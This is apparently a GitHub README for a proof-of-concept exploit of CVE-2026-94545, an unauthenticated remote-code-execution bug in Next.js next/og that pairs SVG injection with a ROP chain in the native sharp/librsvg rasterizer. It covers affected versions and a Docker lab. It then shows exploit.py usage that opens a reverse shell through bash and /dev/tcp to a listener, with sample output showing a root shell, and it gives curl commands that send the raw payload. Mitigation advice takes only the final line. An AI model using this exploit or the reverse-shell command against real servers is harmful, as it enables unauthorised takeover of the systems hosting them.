
Proof-of-concept exploit for CVE-2026-94545, an unauthenticated RCE in Next.js next/og via SVG injection and a ROP chain against the native sharp rasterizer.
★ CVE-2026-94545 Next.js next/og SVG injection to native RCE ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogbuilds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime withsharpinstalled, that SVG is rasterized by native libraries (libvips, librsvg, libxml2) rather than the sandboxed wasm renderer. A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reachesexecvewithout an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.
| Category | Version |
|---|---|
| Vulnerable | Next.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5 |
| Patched | Next.js 16.3.6 / Satori 0.33.5 or later |
Only the Node.js runtime path is affected. With
export const runtime = 'edge', or an install withoutsharp, the image is drawn by the sandboxedresvg-wasm renderer and the bug does not lead to code execution.
ImageResponse is a sink.execve replaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home.A minimal Next.js app that reproduces the vulnerable configuration. The route at /api/og renders
an ImageResponse on the Node runtime, and sharp is installed so the native rasterizer is used.
The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs
npm dependencies, and runs next build, which takes a few minutes.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Precondition | State in this lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, runtime = 'nodejs' |
sharp installed, so the native librsvg/libxml2 path is used | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | GET and POST /api/og, request text goes into an SVG <title> |
| Outbound path available for a reverse shell | bash and /dev/tcp are present |
The vulnerable route is POST /api/og. It takes the request body and places it in an SVG <title>
before rasterizing. exploit.py builds that SVG for a chosen command, encodes the ROP chain into a
<path>, and sends it to the route.
The simplest run opens a reverse shell. Give it the target and a listener address; it starts nc
for you, fires the request, and hands you the shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og routes to export const runtime = 'edge' so the sandboxed wasm renderer is used, or remove sharp so the native path is not reached, and keep unsanitized user input out of ImageResponse children.